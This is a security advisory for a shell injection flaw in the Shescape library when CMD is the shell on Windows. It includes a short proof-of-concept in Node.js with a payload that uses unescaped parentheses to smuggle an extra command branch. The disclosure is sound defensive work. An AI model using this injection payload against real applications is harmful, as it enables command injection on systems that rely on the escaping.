GHSA-w4hw-qcx7-56pr: Shescape: Shell injection via unescaped parentheses on Windows with CMD

This impacts users of Shescape on Windows that explicitly configure shell to CMD, or true with the default shell being CMD, using the escape and escapeAll APIs.

An attacker may be able to achieve shell injection depending on the original command.

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
shell: "cmd.exe",
// Or
shell: true, // Only if the default shell is CMD
};

// 2. Payload
const payload = "x) else if a==a (echo y";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`if defined FALSY (echo ${escapedPayload})`, options);

// 4. Impact
console.log(result.toString());
// Outputs "y" instead of ""

References

Code Behaviors & Features

Detect and mitigate GHSA-w4hw-qcx7-56pr with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →